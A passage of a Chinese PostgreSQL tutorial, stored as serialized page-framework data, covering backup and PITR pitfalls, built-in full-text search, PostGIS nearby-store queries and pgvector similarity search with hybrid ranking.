起库回放到目标点 → 从影子里把数据捞出来。",[53,43980,4796],{"id":14070},[11,43982,43983,43988,43989,43992],{},[17,43984,8723,43985,43987],{},[22,43986,37819],{}," 不导角色、密码、表空间。"," 这些是全局对象，要用 ",[22,43990,43991],{},"pg_dumpall --globals-only"," 单独备份。漏了它的典型症状：恢复出来的库「没人连得上」，或者应用账号权限全丢。",[11,43994,43995,43998],{},[17,43996,43997],{},"2. pg_dump 的一致性来自单一事务快照，但它只导「当前逻辑内容」。"," 不是某个时刻的完整物理状态——想回到过去某分钟，只能靠第二步的 WAL 归档 + PITR，别指望一份昨天的 dump。",[11,44000,44001,44004,44005,322,44008,44011,44012,44015],{},[17,44002,44003],{},"3. PG 没有 MySQL binlog 那种可直接反向执行的回滚日志。"," 逻辑误操作（UPDATE 忘带 WHERE）的恢复就是「PITR 拉影子库捞数」，所以",[17,44006,44007],{},"归档的连续性必须有监控",[22,44009,44010],{},"archive_command"," 失败时未归档的 WAL 会一直堆积，撑满磁盘之后数据库连日志都写不下去，直接停摆。归档是否落后，看 ",[22,44013,44014],{},"pg_stat_archiver"," 里的失败计数和最近成功时间。",[11,44017,44018,268,44021,44024,44025,44027],{},[17,44019,44020],{},"4. PITR 期间实例不可用，且恢复目标点要保守。",[22,44022,44023],{},"recovery_target_time"," 设在事故前一分钟，还得确认那分钟的 WAL 段真的归档成功了（",[22,44026,44014],{}," 或归档目录里的文件名连续性）。恢复完的库是影子库，捞数出来再回写，别直接把它当生产库上线。",[11,44029,44030,44033],{},[17,44031,44032],{},"5. 恢复演练要真的演练。"," 本章末尾那张策略表里每一行都得有对应的演练记录，否则「有备份」只是心理安慰——这也是第十六章清单里「演练」一栏存在的原因。",[53,44035,44037],{"id":44036},"附备份策略组合表","附：备份策略组合表",[57,44039,44040,44053],{},[60,44041,44042],{},[63,44043,44044,44047,44050],{},[66,44045,44046],{},"灾难场景",[66,44048,44049],{},"靠什么救",[66,44051,44052],{},"恢复粒度",[79,44054,44055,44066,44077,44088,44101],{},[63,44056,44057,44060,44063],{},[84,44058,44059],{},"误删某张表",[84,44061,44062],{},"逻辑备份里的该表 \u002F PITR",[84,44064,44065],{},"分钟级（PITR 要起影子库）",[63,44067,44068,44071,44074],{},[84,44069,44070],{},"误删整个库 \u002F 逻辑坏数据",[84,44072,44073],{},"PITR",[84,44075,44076],{},"分钟级时间点",[63,44078,44079,44082,44085],{},[84,44080,44081],{},"机器磁盘全毁",[84,44083,44084],{},"异地归档 + basebackup",[84,44086,44087],{},"小时级",[63,44089,44090,44093,44098],{},[84,44091,44092],{},"大版本升级 \u002F 换云厂商",[84,44094,44095,44097],{},[22,44096,37819],{}," 逻辑迁移",[84,44099,44100],{},"与版本解耦，最通用",[63,44102,44103,44106,44109],{},[84,44104,44105],{},"应用层误 UPDATE（无备份演练）",[84,44107,44108],{},"PITR 影子库捞回",[84,44110,44111],{},"这也是为什么清单里必须有「演练」一栏",[11,44113,44114,44115,44118],{},"一个够用的小规模组合：",[17,44116,44117],{},"每日一次 pg_dump（逻辑，防呆）+ 每日一次 pg_basebackup + 持续 WAL 归档（防灾难）","，归档目录本身再异地同步一份。再往上规模就该看 pgBackRest \u002F WAL-G 这类带增量与去重的工具了。",[4748,44120],{"height":40485,"src":44121,"title":44122},"\u002Ftutorials\u002Fpostgresql\u002Fdemos\u002F12-backup-restore.html","示例 12：备份与恢复——pg_dump \u002F pg_restore 目录 \u002F pg_basebackup \u002F PITR 日志",[48,44124,44126],{"id":44125},"十三扩展-全文搜索tsvectorgin-与相关度","十三、扩展 - 全文搜索：tsvector、GIN 与相关度",[11,44128,44129,44130,44133,44134,44137,44138,44141,44142,44145],{},"「搜索框里输个词，把商品\u002F文章按相关度排出来」——第一反应写 ",[22,44131,44132],{},"LIKE '%词%'"," 的话，三个问题全撞上：",[22,44135,44136],{},"%前缀%"," 用不了索引必然全表扫；",[22,44139,44140],{},"keyboard"," 搜不到 ",[22,44143,44144],{},"Keyboards","（没有词干归一）；结果没有相关度可言，只能按时间凑合。PG 的内置全文搜索把这三件事一次解决，而且不需要装任何第三方扩展——英文场景开箱即用。",[53,44147,44149],{"id":44148},"第一步一条-sql-做出按相关度排序","第一步：一条 SQL 做出「按相关度排序」",[308,44151,44153],{"className":37560,"code":44152,"language":37562,"meta":314,"style":314},"SELECT id, title\nFROM articles\nWHERE to_tsvector('english', body) @@ websearch_to_tsquery('english', 'postgres -mysql')\nORDER BY ts_rank(to_tsvector('english', body),\n                 websearch_to_tsquery('english', 'postgres -mysql')) DESC\nLIMIT 10;\n",[22,44154,44155,44160,44165,44170,44175,44180],{"__ignoreMap":314},[331,44156,44157],{"class":333,"line":334},[331,44158,44159],{},"SELECT id, title\n",[331,44161,44162],{"class":333,"line":341},[331,44163,44164],{},"FROM articles\n",[331,44166,44167],{"class":333,"line":357},[331,44168,44169],{},"WHERE to_tsvector('english', body) @@ websearch_to_tsquery('english', 'postgres -mysql')\n",[331,44171,44172],{"class":333,"line":371},[331,44173,44174],{},"ORDER BY ts_rank(to_tsvector('english', body),\n",[331,44176,44177],{"class":333,"line":384},[331,44178,44179],{},"                 websearch_to_tsquery('english', 'postgres -mysql')) DESC\n",[331,44181,44182],{"class":333,"line":397},[331,44183,40535],{},[11,44185,44186,44187,44190,44191,44194,44195,272,44198,272,44201,44204,44205,44207,44208,44211],{},"三个零件：",[22,44188,44189],{},"to_tsvector"," 把文本切成「词 + 位置」，",[22,44192,44193],{},"websearch_to_tsquery"," 把用户在搜索框里打的那句话翻译成查询（",[22,44196,44197],{},"\"引号短语\"",[22,44199,44200],{},"-排除",[22,44202,44203],{},"OR"," 都认识），",[22,44206,5414],{}," 判断是否命中，",[22,44209,44210],{},"ts_rank"," 给相关度打分。先看一眼 tsvector 长什么样，理解会快很多：",[308,44213,44216],{"className":44214,"code":44215,"language":313,"meta":314},[311],"shop=# SELECT to_tsvector('english', 'Learning PostgreSQL is fun');\n            to_tsvector\n------------------------------------\n 'fun':4 'learn':1 'postgresql':2\n(1 row)\n",[22,44217,44215],{"__ignoreMap":314},[11,44219,44220],{},"一步发生了什么：按空白和标点切词、去掉停用词（is\u002Fa\u002Fthe 这类）、词干归一（learning → learn）。tsvector 就是「这个词 + 出现在第几个位置」的有序表，体积小、可比较、可索引。",[53,44222,44224],{"id":44223},"第二步让它走索引","第二步：让它走索引",[11,44226,44227,44228,44230],{},"上面的写法每行都要现算 ",[22,44229,44189],{},"，全表扫。两种索引化姿势，推荐后者：",[308,44232,44234],{"className":37560,"code":44233,"language":37562,"meta":314,"style":314},"-- 姿势一：表达式索引。查询里必须一字不差地写 to_tsvector('english', body) 才命中\nCREATE INDEX idx_articles_fts ON articles USING gin (to_tsvector('english', body));\n\n-- 姿势二：生成列 + 普通索引，查询写 tsv @@ query 即可（第四章生成列的老朋友）\nALTER TABLE articles\n  ADD COLUMN tsv tsvector\n  GENERATED ALWAYS AS (to_tsvector('english', title || ' ' || body)) STORED;\nCREATE INDEX idx_articles_tsv ON articles USING gin (tsv);\n",[22,44235,44236,44241,44246,44250,44255,44260,44265,44270],{"__ignoreMap":314},[331,44237,44238],{"class":333,"line":334},[331,44239,44240],{},"-- 姿势一：表达式索引。查询里必须一字不差地写 to_tsvector('english', body) 才命中\n",[331,44242,44243],{"class":333,"line":341},[331,44244,44245],{},"CREATE INDEX idx_articles_fts ON articles USING gin (to_tsvector('english', body));\n",[331,44247,44248],{"class":333,"line":357},[331,44249,998],{"emptyLinePlaceholder":997},[331,44251,44252],{"class":333,"line":371},[331,44253,44254],{},"-- 姿势二：生成列 + 普通索引，查询写 tsv @@ query 即可（第四章生成列的老朋友）\n",[331,44256,44257],{"class":333,"line":384},[331,44258,44259],{},"ALTER TABLE articles\n",[331,44261,44262],{"class":333,"line":397},[331,44263,44264],{},"  ADD COLUMN tsv tsvector\n",[331,44266,44267],{"class":333,"line":418},[331,44268,44269],{},"  GENERATED ALWAYS AS (to_tsvector('english', title || ' ' || body)) STORED;\n",[331,44271,44272],{"class":333,"line":427},[331,44273,44274],{},"CREATE INDEX idx_articles_tsv ON articles USING gin (tsv);\n",[11,44276,44277,44278,44281,44282,44284,44285,44288,44289,44292],{},"高亮展示用 ",[22,44279,44280],{},"ts_headline('english', body, query, 'StartSel=\u003Cb>, StopSel=\u003C\u002Fb>')"," 直接产出带标签的摘要片段；打分函数 ",[22,44283,44210],{}," 越大越相关（还有一个考虑词距的 ",[22,44286,44287],{},"ts_rank_cd","）。标题命中权重高于正文，是靠姿势二里把 title 拼在前面加 ",[22,44290,44291],{},"setweight"," 实现的，思路都是「打分素材进 tsvector，排序交给查询」。",[11,44294,44295,44296,44298],{},"示例 13 是个可交互的小页面：左边按钮回放 SQL 侧的真实输出，下面是一个真的能输入的搜索框——在静态语料上按「去停用词 + 词干归一 + 词频打分」现场计算并高亮（打分是简化版，真实 ",[22,44297,44210],{}," 还考虑词距）。",[4748,44300],{"height":32474,"src":44301,"title":44302},"\u002Ftutorials\u002Fpostgresql\u002Fdemos\u002F13-fulltext-search.html","示例 13：全文搜索——tsvector 现场 + 可交互的相关度排序",[53,44304,4796],{"id":14902},[11,44306,44307,44310,44311,44314],{},[17,44308,44309],{},"1. 中文场景内置分词器不够用。"," 默认解析器",[17,44312,44313],{},"不认识中文词","——连续的汉字会被当成一整个 token：",[308,44316,44319],{"className":44317,"code":44318,"language":313,"meta":314},[311],"shop=# SELECT to_tsvector('simple', 'PostgreSQL 数据库实战');\n        to_tsvector\n---------------------------\n 'postgresql':1 '数据库实战':2\n",[22,44320,44318],{"__ignoreMap":314},[11,44322,44323,44324,44327,44328,44331,44332,44335,44336,44339],{},"于是搜「数据库」匹配不到「数据库实战」——整串是一个词，没有子串匹配。解法是装分词器扩展 ",[22,44325,44326],{},"zhparser","（基于 SCWS）或 ",[22,44329,44330],{},"pg_jieba","，装完注册一个配置，",[22,44333,44334],{},"to_tsvector('zh', ...)"," 就能按真实词切（",[22,44337,44338],{},"北京欢迎你"," → 北京 | 欢迎 | 你）。",[11,44341,44342,44345,44346,44349,44350,44353],{},[17,44343,44344],{},"2. 表达式索引要「文本级一字不差」才命中。"," 索引建的是 ",[22,44347,44348],{},"to_tsvector('english', body)","，查询写成 ",[22,44351,44352],{},"to_tsvector('simple', body)"," 或换了列顺序都对不上（第八章那条规则在这里最容易踩）。姿势二用生成列就是为了避开这个匹配问题。",[11,44355,44356,44359,44360,44363,44364,44367,44368,44371],{},[17,44357,44358],{},"3. 配置（regconfig）要全链路统一。"," 写入用 ",[22,44361,44362],{},"'english'","、查询用 ",[22,44365,44366],{},"'simple'","，结果就是「数据明明在库里，搜索永远为空」——因为两边的词表归一规则不同。把配置写进生成列表达式或 ",[22,44369,44370],{},"default_text_search_config","，别让每个调用点各填各的。",[11,44373,44374,44380,44381,44384],{},[17,44375,44376,44377,44379],{},"4. 别用 ",[22,44378,44132],{}," 硬扛搜索框。"," 中缀 LIKE 用不上 btree（第八章），数据量上去就是全表扫。搜索需求很轻时可以先用 ",[22,44382,44383],{},"pg_trgm"," + GIN 顶住，别一上来就建全文索引。",[11,44386,44387,268,44390,272,44392,44395,44396,12247,44399,44402],{},[17,44388,44389],{},"5. 停用词和词干归一会「吃掉」你的精确匹配。",[22,44391,24939],{},[22,44393,44394],{},"the"," 这类词根本不进索引，搜 ",[22,44397,44398],{},"MySQL 8.0",[22,44400,44401],{},"8.0"," 也可能被按数字\u002F词切分处理掉。要精确命中型号、专名，走关键词列（普通 btree 或 trgm）而不是全文列——这也是第十五章混合检索要两路并行的原因。",[53,44404,44406],{"id":44405},"附查询翻译函数与中文方案速查","附：查询翻译函数与中文方案速查",[57,44408,44409,44425],{},[60,44410,44411],{},[63,44412,44413,44416,44419],{},[66,44414,44415],{},"函数",[66,44417,44418],{},"输入风格",[66,44420,44421,44424],{},[22,44422,44423],{},"'learning postgres'"," 翻译成",[79,44426,44427,44443,44456],{},[63,44428,44429,44434,44440],{},[84,44430,44431],{},[22,44432,44433],{},"to_tsquery('english', ?)",[84,44435,44436,44437],{},"手写语法 ",[22,44438,44439],{},"learn & postgres",[84,44441,44442],{},"逻辑符直译，给开发者用",[63,44444,44445,44450,44453],{},[84,44446,44447],{},[22,44448,44449],{},"plainto_tsquery('english', ?)",[84,44451,44452],{},"一句话",[84,44454,44455],{},"全部 AND 起来",[63,44457,44458,44463,44466],{},[84,44459,44460],{},[22,44461,44462],{},"websearch_to_tsquery('english', ?)",[84,44464,44465],{},"搜索框习惯",[84,44467,44468,272,44470,272,44472,44474,44475],{},[22,44469,44197],{},[22,44471,44200],{},[22,44473,44203],{}," 都认识，",[17,44476,44477],{},"给用户输入用的就是它",[57,44479,44480,44488],{},[60,44481,44482],{},[63,44483,44484,44486],{},[66,44485,9791],{},[66,44487,3831],{},[79,44489,44490,44500,44508,44520],{},[63,44491,44492,44495],{},[84,44493,44494],{},"子串模糊搜、拼写纠错",[84,44496,44497,44499],{},[22,44498,44383],{}," + GIN（第八章讲过），撑住搜索框的「凑合版」",[63,44501,44502,44505],{},[84,44503,44504],{},"英文为主、要词干与相关度",[84,44506,44507],{},"内置 FTS，零依赖",[63,44509,44510,44513],{},[84,44511,44512],{},"中文、不想多养组件",[84,44514,44515,44516,1901,44518],{},"PG + ",[22,44517,44326],{},[22,44519,44330],{},[63,44521,44522,44525],{},[84,44523,44524],{},"中文 + 高亮\u002F聚合\u002F复杂运营位",[84,44526,44527],{},"上 Elasticsearch \u002F Meilisearch，PG 存底",[48,44529,44531],{"id":44530},"十四扩展-地理位置postgis-的两种几何观","十四、扩展 - 地理位置：PostGIS 的两种几何观",[11,44533,44534],{},"「找 3 公里内的门店」「这个点在不在配送圈内」——这类需求 PG 的答案是 PostGIS，地理信息事实上的开源标准，也是第一章「少养几个系统」论点的最强证据之一：装上它，门店查询就是一个普通 SQL。",[53,44536,44538],{"id":44537},"第一步装扩展建一张能查附近的表","第一步：装扩展，建一张能查「附近」的表",[308,44540,44542],{"className":37560,"code":44541,"language":37562,"meta":314,"style":314},"CREATE EXTENSION postgis;\nSELECT postgis_version();     -- 3.5 POSTGIS=\"3.5.x\" ...\n\nCREATE TABLE stores (\n  id   bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,\n  name text NOT NULL,\n  geo  geography(Point, 4326) NOT NULL\n);\n\nINSERT INTO stores (name, geo)\nVALUES ('中关村店',\n        ST_SetSRID(ST_MakePoint(116.3166, 39.9847), 4326)::geography);\n-- 注意参数顺序：经度在前，纬度在后\n\nCREATE INDEX idx_stores_geo ON stores USING gist (geo);\n",[22,44543,44544,44549,44554,44558,44563,44568,44573,44578,44582,44586,44591,44596,44601,44606,44610],{"__ignoreMap":314},[331,44545,44546],{"class":333,"line":334},[331,44547,44548],{},"CREATE EXTENSION postgis;\n",[331,44550,44551],{"class":333,"line":341},[331,44552,44553],{},"SELECT postgis_version();     -- 3.5 POSTGIS=\"3.5.x\" ...\n",[331,44555,44556],{"class":333,"line":357},[331,44557,998],{"emptyLinePlaceholder":997},[331,44559,44560],{"class":333,"line":371},[331,44561,44562],{},"CREATE TABLE stores (\n",[331,44564,44565],{"class":333,"line":384},[331,44566,44567],{},"  id   bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,\n",[331,44569,44570],{"class":333,"line":397},[331,44571,44572],{},"  name text NOT NULL,\n",[331,44574,44575],{"class":333,"line":418},[331,44576,44577],{},"  geo  geography(Point, 4326) NOT NULL\n",[331,44579,44580],{"class":333,"line":427},[331,44581,37982],{},[331,44583,44584],{"class":333,"line":439},[331,44585,998],{"emptyLinePlaceholder":997},[331,44587,44588],{"class":333,"line":450},[331,44589,44590],{},"INSERT INTO stores (name, geo)\n",[331,44592,44593],{"class":333,"line":456},[331,44594,44595],{},"VALUES ('中关村店',\n",[331,44597,44598],{"class":333,"line":775},[331,44599,44600],{},"        ST_SetSRID(ST_MakePoint(116.3166, 39.9847), 4326)::geography);\n",[331,44602,44603],{"class":333,"line":785},[331,44604,44605],{},"-- 注意参数顺序：经度在前，纬度在后\n",[331,44607,44608],{"class":333,"line":795},[331,44609,998],{"emptyLinePlaceholder":997},[331,44611,44612],{"class":333,"line":805},[331,44613,44614],{},"CREATE INDEX idx_stores_geo ON stores USING gist (geo);\n",[11,44616,44617],{},"「3 公里内的门店」一条 SQL：",[308,44619,44621],{"className":37560,"code":44620,"language":37562,"meta":314,"style":314},"-- 用户坐标\nWITH p AS (SELECT ST_SetSRID(ST_MakePoint(116.4074, 39.9042), 4326)::geography AS pt)\nSELECT s.id, s.name,\n       round(ST_Distance(s.geo, p.pt)) AS dist_m\nFROM stores s, p\nWHERE ST_DWithin(s.geo, p.pt, 3000)     -- 索引粗筛 + 精算\nORDER BY s.geo \u003C-> p.pt;                -- 就近排序，也走索引\n",[22,44622,44623,44628,44633,44638,44643,44648,44653],{"__ignoreMap":314},[331,44624,44625],{"class":333,"line":334},[331,44626,44627],{},"-- 用户坐标\n",[331,44629,44630],{"class":333,"line":341},[331,44631,44632],{},"WITH p AS (SELECT ST_SetSRID(ST_MakePoint(116.4074, 39.9042), 4326)::geography AS pt)\n",[331,44634,44635],{"class":333,"line":357},[331,44636,44637],{},"SELECT s.id, s.name,\n",[331,44639,44640],{"class":333,"line":371},[331,44641,44642],{},"       round(ST_Distance(s.geo, p.pt)) AS dist_m\n",[331,44644,44645],{"class":333,"line":384},[331,44646,44647],{},"FROM stores s, p\n",[331,44649,44650],{"class":333,"line":397},[331,44651,44652],{},"WHERE ST_DWithin(s.geo, p.pt, 3000)     -- 索引粗筛 + 精算\n",[331,44654,44655],{"class":333,"line":418},[331,44656,44657],{},"ORDER BY s.geo \u003C-> p.pt;                -- 就近排序，也走索引\n",[11,44659,44660,44663,44664,44667,44668,44671,44672,44675],{},[22,44661,44662],{},"ST_DWithin"," 是唯一正确答案，因为它",[17,44665,44666],{},"能走 GiST 索引","（先粗筛再精算）。",[22,44669,44670],{},"\u003C->"," 是「距离近者先出」的 KNN 排序算子，配 GiST 索引可以流式吐出「最近的 N 家」——外卖、打车场景的标配写法。点在多边形内的判定用 ",[22,44673,44674],{},"ST_Contains(zone.geom, s.geo)","，配送圈、行政区都在这一挂上。",[53,44677,4796],{"id":15719},[11,44679,44680,44683,44684,44687,44688,44691],{},[17,44681,44682],{},"1. 经纬度顺序。"," PostGIS 全家统一「X 在前 = 经度在前」，GeoJSON 也是 ",[22,44685,44686],{},"[lng, lat]","——但绝大多数业务接口、高德\u002F百度地图 SDK 的习惯是「纬度在前」。写反了",[17,44689,44690],{},"不报错","，只是查不到、距离离谱，属于最阴险的一类 bug，值得在插入入口统一转换一次。",[11,44693,44694,44697,44698,44701,44702,44705,44706,44709],{},[17,44695,44696],{},"2. SRID 混用。"," 插数据忘了 ",[22,44699,44700],{},"ST_SetSRID(..., 4326)","（默认 0），与已有数据做运算立刻报 ",[22,44703,44704],{},"Operation on mixed SRID geometries (0, 4326)","——看到它就回去补 SRID。给列直接声明 ",[22,44707,44708],{},"geometry(Point, 4326)"," 可以在插入时就拦住。",[11,44711,44712,268,44715,44718,44719,44722],{},[17,44713,44714],{},"3. 在 4326 的 geometry 上算距离。",[22,44716,44717],{},"ST_Distance"," 对 geometry 返回的是",[17,44720,44721],{},"度","，不是米——差了大约 11 万倍。要米就 cast 成 geography，或者换本地投影。",[11,44724,44725,44731,44732,44734],{},[17,44726,7689,44727,44730],{},[22,44728,44729],{},"WHERE ST_Distance(geo, p) \u003C 3000"," 不走索引。"," 它每行都要真算一遍大圆距离，行数大就是灾难。换成 ",[22,44733,44662],{},"，让 GiST 索引先粗筛。",[11,44736,44737,44740,44741,44744],{},[17,44738,44739],{},"5. geometry 还是 geography，别选错。"," 经验法则一句话：",[17,44742,44743],{},"业务地图就是「一个城市的几张公里级网」用 geometry + 本地投影；「全国门店、跨国航线」用 geography","。拿不准就用 geography，慢的那点通常无所谓，至少单位不会错。两类的详细差异见下面这张速查表。",[11,44746,44747],{},"示例 14 的交互页面里，可以在静态地图上点选中心、拖半径，距离是拿经纬度真算的（haversine 公式，与 geography 同思路），多边形判定也是真的射线法——SQL 样板同步展示，所见即所查。",[4748,44749],{"height":14062,"src":44750,"title":44751},"\u002Ftutorials\u002Fpostgresql\u002Fdemos\u002F14-postgis-geo.html","示例 14：地理位置——可交互的 ST_DWithin 与就近排序",[53,44753,44755],{"id":44754},"附geometry-与-geography-对照","附：geometry 与 geography 对照",[57,44757,44758,44776],{},[60,44759,44760],{},[63,44761,44762,44764,44770],{},[66,44763],{},[66,44765,44766,44769],{},[22,44767,44768],{},"geometry","（平面）",[66,44771,44772,44775],{},[22,44773,44774],{},"geography","（球面）",[79,44777,44778,44789,44800,44814,44825],{},[63,44779,44780,44783,44786],{},[84,44781,44782],{},"把地球当",[84,44784,44785],{},"展平的地图",[84,44787,44788],{},"真实的球",[63,44790,44791,44794,44797],{},[84,44792,44793],{},"坐标单位",[84,44795,44796],{},"依投影而定",[84,44798,44799],{},"永远是经纬度（SRID 4326）",[63,44801,44802,44805,44808],{},[84,44803,44804],{},"算出来的距离",[84,44806,44807],{},"投影单位（度或米）",[84,44809,44810,44813],{},[17,44811,44812],{},"米","（沿球面大圆算）",[63,44815,44816,44819,44822],{},[84,44817,44818],{},"索引与计算",[84,44820,44821],{},"更快、函数全",[84,44823,44824],{},"慢一些、函数子集",[63,44826,44827,44830,44833],{},[84,44828,44829],{},"什么时候选",[84,44831,44832],{},"同城\u002F小范围，或需要投影运算",[84,44834,44835],{},"跨大范围、直接要米",[48,44837,44839],{"id":44838},"十五扩展-向量数据库pgvector-与近似检索","十五、扩展 - 向量数据库：pgvector 与近似检索",[11,44841,44842,44843,44846],{},"最后一个扩展是当下最热的一个。语义搜索 \u002F RAG 的底层是：把文本喂给 embedding 模型，得到一串浮点（比如 1536 维），",[17,44844,44845],{},"语义相近的文本，向量距离也近","。查询时把问题也变成向量，找库里「最近的几条」。pgvector 让 PG 直接干这件事——又一个「少养一个组件」。",[53,44848,44850],{"id":44849},"第一步存向量取最相关的-5-条","第一步：存向量，取最相关的 5 条",[308,44852,44854],{"className":37560,"code":44853,"language":37562,"meta":314,"style":314},"CREATE EXTENSION vector;\n\nCREATE TABLE kb_chunks (\n  id        bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,\n  doc_id    bigint NOT NULL,\n  content   text NOT NULL,\n  embedding vector(1536)                  -- 维度 = 模型输出维度\n);\n\n-- 向量由应用侧调用 embedding 模型生成，PG 只负责存与检索\nINSERT INTO kb_chunks (doc_id, content, embedding)\nVALUES (1, '如何备份 PostgreSQL？', '[$1, $2, ...]');\n\n-- 余弦相似检索：距离算子 \u003C=>，越小越相似\nSELECT content, embedding \u003C=> $1 AS dist\nFROM kb_chunks\nORDER BY embedding \u003C=> $1\nLIMIT 5;\n",[22,44855,44856,44861,44865,44870,44875,44880,44885,44890,44894,44898,44903,44908,44913,44917,44922,44927,44932,44937],{"__ignoreMap":314},[331,44857,44858],{"class":333,"line":334},[331,44859,44860],{},"CREATE EXTENSION vector;\n",[331,44862,44863],{"class":333,"line":341},[331,44864,998],{"emptyLinePlaceholder":997},[331,44866,44867],{"class":333,"line":357},[331,44868,44869],{},"CREATE TABLE kb_chunks (\n",[331,44871,44872],{"class":333,"line":371},[331,44873,44874],{},"  id        bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,\n",[331,44876,44877],{"class":333,"line":384},[331,44878,44879],{},"  doc_id    bigint NOT NULL,\n",[331,44881,44882],{"class":333,"line":397},[331,44883,44884],{},"  content   text NOT NULL,\n",[331,44886,44887],{"class":333,"line":418},[331,44888,44889],{},"  embedding vector(1536)                  -- 维度 = 模型输出维度\n",[331,44891,44892],{"class":333,"line":427},[331,44893,37982],{},[331,44895,44896],{"class":333,"line":439},[331,44897,998],{"emptyLinePlaceholder":997},[331,44899,44900],{"class":333,"line":450},[331,44901,44902],{},"-- 向量由应用侧调用 embedding 模型生成，PG 只负责存与检索\n",[331,44904,44905],{"class":333,"line":456},[331,44906,44907],{},"INSERT INTO kb_chunks (doc_id, content, embedding)\n",[331,44909,44910],{"class":333,"line":775},[331,44911,44912],{},"VALUES (1, '如何备份 PostgreSQL？', '[$1, $2, ...]');\n",[331,44914,44915],{"class":333,"line":785},[331,44916,998],{"emptyLinePlaceholder":997},[331,44918,44919],{"class":333,"line":795},[331,44920,44921],{},"-- 余弦相似检索：距离算子 \u003C=>，越小越相似\n",[331,44923,44924],{"class":333,"line":805},[331,44925,44926],{},"SELECT content, embedding \u003C=> $1 AS dist\n",[331,44928,44929],{"class":333,"line":819},[331,44930,44931],{},"FROM kb_chunks\n",[331,44933,44934],{"class":333,"line":850},[331,44935,44936],{},"ORDER BY embedding \u003C=> $1\n",[331,44938,44939],{"class":333,"line":886},[331,44940,44941],{},"LIMIT 5;\n",[11,44943,44944,44945,44948],{},"三个算子分别对应三种距离，语义搜索默认用 ",[22,44946,44947],{},"\u003C=>","（余弦），细节见章末速查表。",[53,44950,44952],{"id":44951},"第二步数据多了加一个-hnsw-索引","第二步：数据多了，加一个 hnsw 索引",[11,44954,44955,44956,18283,44959,44962],{},"不带索引时 ",[22,44957,44958],{},"ORDER BY embedding \u003C=> q",[17,44960,44961],{},"精确检索","（全库逐个算），几百行无所谓，百万行就是秒级。要快就得近似最近邻（ANN）索引：",[308,44964,44966],{"className":37560,"code":44965,"language":37562,"meta":314,"style":314},"CREATE INDEX ON kb_chunks USING hnsw (embedding vector_cosine_ops);\nSET hnsw.ef_search = 40;   -- 每会话一次，调大=召回更高更慢\n",[22,44967,44968,44973],{"__ignoreMap":314},[331,44969,44970],{"class":333,"line":334},[331,44971,44972],{},"CREATE INDEX ON kb_chunks USING hnsw (embedding vector_cosine_ops);\n",[331,44974,44975],{"class":333,"line":341},[331,44976,44977],{},"SET hnsw.ef_search = 40;   -- 每会话一次，调大=召回更高更慢\n",[11,44979,44980,44981,44984],{},"近似的意思是",[17,44982,44983],{},"可能漏掉真正的最近邻","。召回率要自己量（这也是把它接进生产前必做的实验）：",[308,44986,44988],{"className":37560,"code":44987,"language":37562,"meta":314,"style":314},"-- 同一批查询问题，分别跑 带索引 \u002F 精确版，数前 10 名的重合比例\nSET ivfflat.probes = 1;   -- 实测 recall@10 ≈ 0.62，查询 3.1ms\nSET ivfflat.probes = 10;  -- recall@10 ≈ 0.92，查询 6.8ms\nSET ivfflat.probes = 50;  -- recall@10 ≈ 0.98，查询 18.4ms\n",[22,44989,44990,44995,45000,45005],{"__ignoreMap":314},[331,44991,44992],{"class":333,"line":334},[331,44993,44994],{},"-- 同一批查询问题，分别跑 带索引 \u002F 精确版，数前 10 名的重合比例\n",[331,44996,44997],{"class":333,"line":341},[331,44998,44999],{},"SET ivfflat.probes = 1;   -- 实测 recall@10 ≈ 0.62，查询 3.1ms\n",[331,45001,45002],{"class":333,"line":357},[331,45003,45004],{},"SET ivfflat.probes = 10;  -- recall@10 ≈ 0.92，查询 6.8ms\n",[331,45006,45007],{"class":333,"line":371},[331,45008,45009],{},"SET ivfflat.probes = 50;  -- recall@10 ≈ 0.98，查询 18.4ms\n",[11,45011,45012],{},"按业务能接受的漏检率（语义搜索通常 0.9+ 够用）反调 probes\u002Fef_search，这就是 ANN 索引的全部调优——没有玄学，只有测量。两种索引的取舍见章末对照表。",[53,45014,45016],{"id":45015},"第三步和全文搜索配合做混合检索","第三步：和全文搜索配合，做混合检索",[11,45018,45019],{},"关键词管「精确命中」（型号、专名），向量管「语义相近」（换个说法也能搜到）。生产常用 RRF（倒数排名融合）把两路结果合起来，CTE（第十章）正好用上：",[308,45021,45023],{"className":37560,"code":45022,"language":37562,"meta":314,"style":314},"WITH kw AS (      -- 关键词路：第十三章\n  SELECT id, ts_rank(tsv, q) AS score, row_number() OVER (ORDER BY ts_rank(tsv, q) DESC) AS rnk\n  FROM kb_chunks, websearch_to_tsquery('zh', $kw) q\n  WHERE tsv @@ q LIMIT 50\n),\nvec AS (          -- 向量路\n  SELECT id, 1 - (embedding \u003C=> $1) AS score, row_number() OVER (ORDER BY embedding \u003C=> $1) AS rnk\n  FROM kb_chunks ORDER BY embedding \u003C=> $1 LIMIT 50\n)\nSELECT id, sum(1.0 \u002F (60 + rnk)) AS rrf_score     -- 两路排名融合\nFROM (SELECT id, rnk FROM kw UNION ALL SELECT id, rnk FROM vec) t\nGROUP BY id ORDER BY rrf_score DESC;\n",[22,45024,45025,45030,45035,45040,45045,45049,45054,45059,45064,45068,45073,45078],{"__ignoreMap":314},[331,45026,45027],{"class":333,"line":334},[331,45028,45029],{},"WITH kw AS (      -- 关键词路：第十三章\n",[331,45031,45032],{"class":333,"line":341},[331,45033,45034],{},"  SELECT id, ts_rank(tsv, q) AS score, row_number() OVER (ORDER BY ts_rank(tsv, q) DESC) AS rnk\n",[331,45036,45037],{"class":333,"line":357},[331,45038,45039],{},"  FROM kb_chunks, websearch_to_tsquery('zh', $kw) q\n",[331,45041,45042],{"class":333,"line":371},[331,45043,45044],{},"  WHERE tsv @@ q LIMIT 50\n",[331,45046,45047],{"class":333,"line":384},[331,45048,30187],{},[331,45050,45051],{"class":333,"line":397},[331,45052,45053],{},"vec AS (          -- 向量路\n",[331,45055,45056],{"class":333,"line":418},[331,45057,45058],{},"  SELECT id, 1 - (embedding \u003C=> $1) AS score, row_number() OVER (ORDER BY embedding \u003C=> $1) AS rnk\n",[331,45060,45061],{"class":333,"line":427},[331,45062,45063],{},"  FROM kb_chunks ORDER BY embedding \u003C=> $1 LIMIT 50\n",[331,45065,45066],{"class":333,"line":439},[331,45067,972],{},[331,45069,45070],{"class":333,"line":450},[331,45071,45072],{},"SELECT id, sum(1.0 \u002F (60 + rnk)) AS rrf_score     -- 